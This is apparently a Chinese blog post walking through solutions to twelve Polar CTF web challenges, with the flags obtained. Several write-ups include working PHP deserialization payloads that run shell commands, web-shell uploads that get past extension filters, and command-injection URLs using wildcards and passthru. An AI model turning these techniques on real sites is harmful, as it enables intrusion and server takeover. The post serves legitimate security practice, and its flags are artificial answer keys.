今天是2026年8月2号
今天继续分享Polar靶场做题题解
Polar靶场
19.题目信息:

进入靶场:

先到处找找看:

在源码中发现了/2.php目录,进去看看:

多了一个按钮,但按钮被禁用了,在查看器中把disabled="disabled"删掉,进入下一个目录:

下一个页面显示End(结束),在源码中可以看到fla.php:


进入fla.php中拿到flag:flag{0cee5a97f12b172ceeea2e9f67b7413e}

20.题目信息:

进入靶场:

题目意思应该是让我们去robots.txt目录:

发现flag目录,进入后得到flag:flag{2f37589152daf6f111b232ef4aea1304}

21.题目信息:

进入靶场:

题目说我能找到漏洞吗,分析一下代码,发现这是一个反序列化题,_destruct()魔术方法是当对象被销毁时自动执行,并且触发后指向了$sys变量,分析完毕,我们可以把$sys的属性“Can you find the leak?”改为我们要执行的代码,就可以完美利用反序列化漏洞,构造payload:
<?php
error_reporting(0);
class Example
{
public $sys="system(ls);";
function __destruct(){
eval($this->sys);
}
}
$a=new Example();
echo serialize($a);
?>
把输出结果放到传参点后上传,发现system命令被成功执行:

读取flag:
把payload中的public $sys="system(ls);";改为public $sys="system('cat flag.php');";
成功拿到flag:flag{202cb962ac59075b964b07152d234b70}

22.题目信息:

进入靶场:

可以选择上传文件,我们随便上传一个试试:

发现只能上传GIF图片,我们把后缀改一下再上传试试:

成功上传了,可以试试用BP抓包改包后缀名再上传:

后缀从GIF改为了php,发包看看:

可以看到文件被成功上传了,看来这题只有一个前端校验,后端完全没有校验,现在可以再文件中写入一句话木马进行上传:

上传:

木马上传成功,打开蚁剑连接:

连接成功,在木马文件目录的上级目录中拿到flag:flag{ffffffffllllaaggg_!!!}

23.题目信息:

进入靶场:

题目说只有admin用户才能得到flag,在存储-->cookie中可以看到一条名为user值为user的数据:

我试着把user的值改成admin,结果flag直接出来了:flag{10e35c76602b330149ef009e0b484d8f}

24.题目信息:

进入靶场:

题目要求上传一个webshell到服务器,但只能上传图片,在源码中可以看到提示:

传参后可以看到题目的源码:

可以看到黑名单数组中过滤了大量的后缀,我们先随便上传一个文件(这里我上传的是php后缀):

发现后缀果然被删除了试试双写绕过:.pphphp

发现成功绕过了,我吗直接写入一句话木马上传:

上传成功,在upload/42901sadfd.php目录,打开蚁剑进行连接,密码a:

连接成功,在上级目录中拿到flag:flag{a89f40341f4271659154829a2215f428}

25.题目信息:

进入靶场:

观察代码发现我们完全可以给id赋值$a[0]=www.polarctf.com,因为parse_str函数可以帮我们覆盖原有的\$a变量,用&来连接cmd,cmd可以用 ; 来当分隔符用来连接后面要执行的代码,flag与.php可以用模糊匹配来绕过,构造payload:
http://11c0c81a-6e1d-495a-b01f-19624a2e7f92.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=;ls

成功获取目录,直接cat flag:
http://11c0c81a-6e1d-495a-b01f-19624a2e7f92.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=;cat fl*.???

成功拿到flag:flag{e44882416c9fa79cc5a6a51e6e19cdbc}
26.题目信息:

进入靶场:

分析一下代码,不能有数字,否则输出no,并且过滤了flag、system、php包括大小写,system被禁用了,但可以用passthru()函数来代替,构造payload:
http://e9f8a315-e299-4936-bf25-d246fb7a5e89.www.polarctf.com:8090/?a=passthru('ls');

成功输出了当前目录,接下来读取flag,flag过滤可以用?来模糊匹配,payload:
http://e9f8a315-e299-4936-bf25-d246fb7a5e89.www.polarctf.com:8090/?a=passthru('cat fl?g.txt');

拿到flag:flag{4512esfgsdIirhgui82545er4g5e5rg4er1}
27.题目信息:

进入靶场:

代码中的sandBox是取我们IP的md5值来当作文件夹名称,我们上传的文件就会在这个文件夹中,题目没有写提交表单,需要我们自己手动写一个表单:
<form action="http://42469a22-b0ea-4cc8-b34a-5c3b38eb8703.www.polarctf.com:8090/" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <button type="submit">上传</button> </form>

由于题目没有作任何过滤,所以我们可以直接上传一句话木马:

可以看到上传成功了,那一串字符串就是IP的md5值,直接打开蚁剑连接,密码a:

连接成功,在根目录拿到flag:flag{256d5ca173f463165db6ed366b597da8}

28.题目信息:

进入靶场:

我看到题目的第一眼就感觉很熟悉,乍一看这不就是25题干正则那题吗,我用一样的流程复现了一遍,发现还真是一模一样的,构造payload:
http://db4d63ae-40a2-42ac-88a6-364c6597d6c3.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=;cat fla?.???
直接拿到flag:flag{e44882416c9fa79cc5a6a51e6e19cdbc}

29.题目信息:

进入靶场:

题目用到了两个魔术方法,第一个wakeup是执行反序列化时,自动触发。第二个toString是被当成字符串输出时自动触发。这题需要利用wakeup来触发toString以达到执行命令的目的,构造payload:
<?php
error_reporting(0);
class Easy{
public $name="";
public function __wakeup()
{
echo $this->name;
}
}
class Evil{
public $evil='ls';
private $env;
public function __toString()
{
$this->env=shell_exec($this->evil);
return $this->env;
}
}
$a=new Easy();
$b=new Evil();
$a->name=$b;
echo urlencode((serialize($a))); #这里要url编码一下,保证数据完整
?>
传参后成功看到当前目录:

flag明显在f1@gphp中,把payload中的
public $evil='ls';
改为
public $evil='cat f1@g.php';
在源代码中拿到flag:flag{08a46a069bd77e33531bb2ab244f4196}

30.题目信息:

进入靶场:

题目说不要爬它,我偏要爬一下,用dirsearch扫一下看看:

扫到一个/robots文件,这是用来控制爬虫流向的文件我们进去看看:

找到了一部分flag:flag{4749ea1ea481a5d,还有一大串字符串,但前面有/可能是一个目录访问一下看看:

告诉我们没有权限,那我在后面再加上一个flag.php:

还真拿到了第二部分flag,最后拼在一起得到完整flag:flag{4749ea1ea481a5d56685442c8516b61c}
今日手感尚佳,斩落12题,明日再战~_~
今日做题分享
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
评论交流
欢迎留下你的想法